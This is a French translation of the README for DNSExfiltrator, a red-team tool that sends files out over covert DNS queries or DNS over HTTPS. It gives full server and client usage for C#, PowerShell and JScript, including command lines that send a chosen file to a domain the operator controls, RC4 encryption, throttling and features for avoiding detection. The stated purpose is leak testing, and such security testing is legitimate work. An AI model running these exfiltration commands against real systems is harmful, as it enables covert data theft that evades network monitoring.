
Exfiltration de données via un canal caché de requêtes DNS
Auteur : Arno0x0x - @Arno0x0x
DNSExfiltrator permet de transférer (exfiltrer) un fichier via un canal caché de requêtes DNS. Il s'agit essentiellement d'un outil de test de fuite de données permettant d'exfiltrer des données via un canal dissimulé.
DNSExfiltrator comporte deux parties :
dnsexfiltrator.py), qui agit comme un serveur DNS personnalisé, recevant le fichier.dnsExfiltrator.cs : un script C# qui peut être compilé avec csc.exe pour produire un exécutable Windows managé.Invoke-DNSExfiltrator.ps1 : un script PowerShell offrant exactement les mêmes fonctionnalités en encapsulant l'assembly dnsExfiltrator.dnsExfiltrator.js : un script JScript qui est une conversion de la DLL dnsExiltrator en utilisant DotNetToJScript, et offrant exactement les mêmes fonctionnalités.Pour que l'ensemble fonctionne, vous devez posséder un nom de domaine et configurer l'enregistrement DNS (NS) de ce domaine pour qu'il pointe vers le serveur qui exécutera le côté serveur dnsexfiltrator.py.
Par défaut, DNSExfiltrator utilise le serveur DNS défini par le système, mais vous pouvez également en définir un spécifique (utile à des fins de débogage ou pour exécuter le côté serveur localement par exemple).
Alternativement, en utilisant le paramètre h, DNSExfiltrator peut effectuer du DoH (DNS over HTTP) en utilisant les serveurs DoH de Google ou CloudFlare.
Par défaut, les données à exfiltrer sont encodées en base64URL afin de tenir dans les requêtes DNS. Cependant, certains résolveurs DNS peuvent casser cet encodage (ce qui est compréhensible car les FQDN ne sont pas censés être sensibles à la casse de toute façon) en altérant la sensibilité à la casse (majuscule ou minuscule), ce qui est évidemment important pour le processus d'encodage/décodage. Pour contourner ce problème, vous pouvez utiliser le drapeau -b32 afin de forcer l'encodage Base32 des données, ce qui entraîne un léger surcoût de taille. Si vous utilisez CloudFlare DoH, l'encodage base32 est automatiquement appliqué.
DNSExfiltrator prend en charge le chiffrement RC4 de base des données exfiltrées, en utilisant le mot de passe fourni pour chiffrer/déchiffrer les données.
DNSExfiltrator offre également quelques fonctionnalités optionnelles pour éviter la détection :
La seule dépendance se trouve du côté serveur, car le script dnsexfiltrator.py repose sur la bibliothèque externe dnslib. Vous pouvez l'installer en utilisant pip :
pip install -r requirements.txt
CÔTÉ SERVEUR
Lancez le script dnsexfiltrator.py en lui passant le nom de domaine et le mot de passe de déchiffrement à utiliser :
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password
CÔTÉ CLIENT
Vous pouvez soit utiliser la version compilée, soit le wrapper PowerShell (qui est essentiellement la même chose) soit le wrapper JScript. Dans tous les cas, les paramètres sont les mêmes, avec une légère différence dans la manière de les passer en PowerShell.
1/ Utilisation de l'exécutable Windows compilé en C# (que vous trouverez dans le répertoire release) :
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
file: [OBLIGATOIRE] Le nom du fichier à exfiltrer.
domainName: [OBLIGATOIRE] Le nom de domaine à utiliser pour les requêtes DNS.
password: [OBLIGATOIRE] Mot de passe utilisé pour chiffrer les données à exfiltrer.
-b32: [OPTIONNEL] Utiliser l'encodage base32 des données. Peut être nécessaire si certains résolveurs DNS cassent la casse.
h: [OPTIONNEL] Utiliser les serveurs DoH (DNS over HTTP) de Google ou CloudFlare.
DNS_Server: [OPTIONNEL] Le nom ou l'adresse IP du serveur DNS à utiliser pour les requêtes DNS. Par défaut, celui du système.
throttleTime: [OPTIONNEL] Le temps en millisecondes à attendre entre chaque requête DNS.
requestMaxSize: [OPTIONNEL] La taille maximale en octets pour chaque requête DNS. Par défaut 255 octets.
labelMaxSize: [OPTIONNEL] La taille maximale en caractères pour chaque label (sous-domaine) de la requête DNS. Par défaut 63 caractères.
2/ Utilisation du script PowerShell : appelez-le de la manière de votre choix (vous connaissez probablement des tonnes de façons d'invoquer un script PowerShell) avec les paramètres du script. Exemple le plus basique :
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]
Consultez la section EXEMPLES dans le fichier du script pour d'autres exemples d'utilisation.

3/ Utilisation du script JScript : passez-lui exactement les mêmes arguments que pour l'exécutable Windows autonome :
cscript.exe dnsExiltrator.js inputFile mydomain.com password
Ou, avec quelques options :
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500
Cet outil est destiné à être utilisé de manière légale et légitime uniquement :
En citant les auteurs d'Empire : Il n'y a aucun moyen de construire des outils offensifs utiles à l'industrie légitime de la sécurité tout en empêchant simultanément les acteurs malveillants d'en abuser.